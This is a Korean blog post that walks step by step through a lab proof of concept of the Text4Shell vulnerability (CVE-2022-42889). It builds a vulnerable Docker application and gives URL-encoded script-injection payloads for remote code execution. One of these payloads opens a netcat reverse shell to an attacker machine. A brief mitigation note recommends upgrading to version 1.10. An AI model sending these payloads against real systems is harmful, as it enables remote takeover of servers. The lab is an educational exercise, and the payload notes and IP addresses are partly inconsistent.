요약
이 문서에는 공격자가 Text4Shell 취약점(CVE-2022-42889)을 악용하는 방법을 보여줌
애플리케이션 text4shell-poc.jar 사용
취약한 애플리케이션 특징
- Apache Commons 버전 1.5~1.9 사용
- 라이브러리는 Sting 조작에 사용
POC는 Linux 시스템(피해자)과 공격자 시스템 구성
피해자 (text4shell-poc.jar 설치)
- Ubuntu 20.04(x64)
- IP 주소 : 183.103.163.73
공격자(역방향 쉘용)
- Ubuntu 20.04(x64)
- IP 주소 : 192.168.219.102
- windows 사용 시 netcat 설치 필요
진행 순서
1~3 단계 : 취약한 애플리케이션에 대한 요구 사항 설치
4~8 단계 : 취약한 애플리케이션 설치
9~13단계 : 취약한 웹 애플리케이션에 원격 코드 실행 수행
14~15단계 : 역방향 셸 설정 공격자 시스템
완화
취약한 Java 애플리케이션을 실행하려면 OpenJDK, Maven 및 Docker를 설치
1. 피해자 시스템(183.103.163.73)에서 실행
OpenJDK 설치
sudo apt update && sudo apt install openjdk-11-jdk
2. 피해자 시스템(183.103.163.73)에서 실행
도커가 이미 설치되어 있을 경우
which docker
도커가 설치되어 있지 않을 경우
sudo apt install docker.io containerd runc
3. 피해자 시스템(183.103.163.73)에서 실행
/OPT에 Maven 설치
cd /tmp
wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -xvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /opt/
환경 변수 설정
M2_HOME='/opt/apache-maven-3.6.3'
PATH="$M2_HOME/bin:$PATH"
export PATH
4. 피해자 시스템(183.103.163.73)에서 실행
POC 애플리케이션 설치
cd /tmp
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git
5. 피해자 시스템(183.103.163.73)에서 실행
Maven을 사용하여 애플리케이션 빌드
cd /tmp/cve-2022-42889-text4shell-docker/
mvn clean install
6. 피해자 시스템(183.103.163.73)에서 실행
취약한 애플리케이션을 위한 도커 컨테이너 빌드
docker build --tag=text4shell .
7. 피해자 시스템(183.103.163.73)에서 실행
도커 이미지 실행
docker run -p 80:8080 text4shell
8. 피해자 시스템(183.103.163.73)에서 실행
대상 컴퓨터에서 애플리케이션을 테스트
취약한 웹 애플리케이션에서 원격 코드 실행
공격자 시스템을 이용하여 추가 공격 실행
http://localhost/text4shell/attack?search=wins4group
9. 공격자 시스템(192.168.219.102)에서 실행
공격자 컴터에서 애플리케이션 실행
http://183.103.163.73:9000/text4shell/attack?search=wins4group
10. 공격자 시스템(192.168.219.102)에서 실행
원격 웹 서버를 공격하기 위해 다음 문자열을 전달
${prefix:name}.
http://183.103.163.73:9000/text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec'touch /tmp/foo')}
중요: 위의 문자열에는 "exec.'touch"가 포함되어 있습니다. 이것은 올바르지 않으며 "exec('touch"여야 합니다.
Medium.com의 입력 유효성 검사 때문에 "exec'(touch"를 사용할 수 없었습니다. 괄호 "("를 수동으로 추가하십시오.
위의 문자열을 URL 인코딩하십시오 (**https://www.urlencoder.org/**).
http://183.103.163.73:9000/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D
11. 피해자 시스템(183.103.163.73)에서 실행
도커 컨테이너 ID 가져오기
docker container ls
12. 피해자 시스템(183.103.163.73)에서 실행
Docker 컨테이너 내부에서 bash 셸을 시작
> docker exec -it <container_id> bash 사용
docker exec -it text4shell bash
13. 피해자 시스템(183.103.163.73)에서 실행
RCE 성공 확인
(/tmp 디렉토리에 foo라는 파일 생성 확인)
14. 공격자 시스템(192.168.219.102)에서 실행
netcat 수신기 설정
windows 운영체제 사용 시 netcat 별도 설치
nc -nlvp 1234
15. 공격자 시스템(192.168.219.102)에서 실행
페이로드 구성
Search results for: ${script:javascript:java.lang.Runtime.getRuntime().exec('nc 218.235.89.15 9000 -e /bin/bash')}
중요: 위 문자열에는 ".exec'nc"가 포함되어 있습니다. 이는 올바르지 않습니다. ".exec ( 'nc") 여야 합니다 . Medium.com 입력 유효성 검사로 인해 ".exec('nc""를 사용할 수 없습니다. 누락된 "("를 수동으로 추가하세요.
페이로드 인코딩 URL
http://183.103.163.73:9000/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20192.168.219.102%201234%20-e%20%2Fbin%2Fbash%27%29%7D
중요: 위 문자열에는 ".exec%27"이 포함되어 있습니다. 이는 올바르지 않습니다. ".exec% 28 %27"이어야 합니다. Medium.com 입력 유효성 검사로 인해 ".exec% 28 %27"을 사용할 수 없었습니다 . 누락된 "%28"을 수동으로 추가하세요.
리스너 확인
> 대상자 id 호출
완화
1. 취약점이 패치된 버전인 1.10 Version으로 업데이트
2. 공격에 활용될 수 있는 문자열 치환
결론
사실 CVE 2022-42889는 진행한 지 꽤 오래됐다. 그리고 혼자 한 것은 아니고 윈스에서 진행하는 교육을 들을 때 교육생들고 같이 했다. 이걸 할 때 잘 몰라서 머리가 많이 아팠는데 지금은 그래도 좀 이해가 좀 된다.
참조
https://infosecwriteups.com/text4shell-poc-cve-2022-42889-f6e9df41b3b7
'정보보안 > CVE' 카테고리의 다른 글
[CVE-2020-1938] Ghostcat Tomcat AJP Protocol 취약점 (2) | 2024.12.06 |
---|---|
CVE란? 모르면 위험한 보안 취약점 리스트 (3) | 2024.11.05 |
[CVE-2024-6387] SSH Vulnerability Scanner 취약점 (0) | 2024.07.15 |
[CVE-2023-27524] Apache Superset 취약점 (2) | 2024.07.01 |
[CVE-2023-46604] Apache ActiveMQ 취약점 (0) | 2024.05.26 |